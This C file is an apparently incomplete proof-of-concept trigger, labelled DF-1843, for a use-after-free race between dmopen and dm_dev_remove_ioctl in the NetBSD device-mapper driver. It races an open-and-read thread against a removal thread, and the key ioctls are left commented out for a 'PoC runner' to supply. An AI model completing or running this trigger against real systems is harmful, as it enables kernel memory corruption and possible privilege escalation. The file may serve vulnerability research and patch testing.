DF-1843 / dm_uaf.c
/* * DF-1843 trigger: race dmopen against dm_dev_remove_ioctl to leave * an open fd with dev->si_drv1 pointing to a freed dm_dev_t. * * Requires: device dm, /dev/mapper/control (mode 0640 root:operator), * operator group membership, and ability to open the DM block device. * * Build: cc -o dm_uaf dm_uaf.c -lprop * Run: ./dm_uaf * * NOTE: This is a race-condition trigger skeleton. The actual proplib * dictionary construction for NETBSD_DM_IOCTL is environment-specific; * this file documents the race logic for the PoC runner. */ #define _GNU_SOURCE #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> /* NETBSD_DM_IOCTL is a proplib-based ioctl; the exact ioctl number and * dictionary format are defined in sys/dev/disk/dm/dm.h. The PoC runner * should use libprop to construct the create/reload/resume/remove dicts. */ static volatile int stop = 0; static volatile int race_won = 0; static const char *blockdev = "/dev/mapper/race0"; static void *opener(void *arg) { (void)arg; while (!stop && !race_won) { int fd = open(blockdev, O_RDWR); if (fd >= 0) { /* Race may have been won: dev->si_drv1 may be dangling. * Trigger I/O to dereference the freed dmv. */ char buf[512]; if (pread(fd, buf, sizeof(buf), 0) >= 0) { race_won = 1; } close(fd); } usleep(1); } return NULL; } static void *remover(void *arg) { int ctl = *(int *)arg; (void)ctl; while (!stop && !race_won) { /* Issue NETBSD_DM_IOCTL with proplib dict: * { command: "remove", name: "race0" } * If it returns 0, the device was removed; recreate and retry. * The race is won if the remove succeeds while opener has an * fd that was opened in the window between dm_dev_lookup and * is_open=1. */ /* ioctl(ctl, NETBSD_DM_IOCTL, &remove_dict); */ usleep(1); } return NULL; } int main(void) { /* Setup: create DM device "race0" with a linear table pointing at * any available block device. Then race open vs remove. */ printf("DF-1843: dmopen vs dm_dev_remove_ioctl UAF race\n"); printf("Run as operator group member with /dev/mapper/control access.\n"); printf("This skeleton documents the race; the PoC runner must fill in\n"); printf("the proplib NETBSD_DM_IOCTL dictionaries for create/remove.\n"); pthread_t t_open, t_remove; int ctl = -1; /* open("/dev/mapper/control", O_RDONLY); */ pthread_create(&t_open, NULL, opener, NULL); pthread_create(&t_remove, NULL, remover, &ctl); sleep(30); stop = 1; pthread_join(t_open, NULL); pthread_join(t_remove, NULL); return 0; } |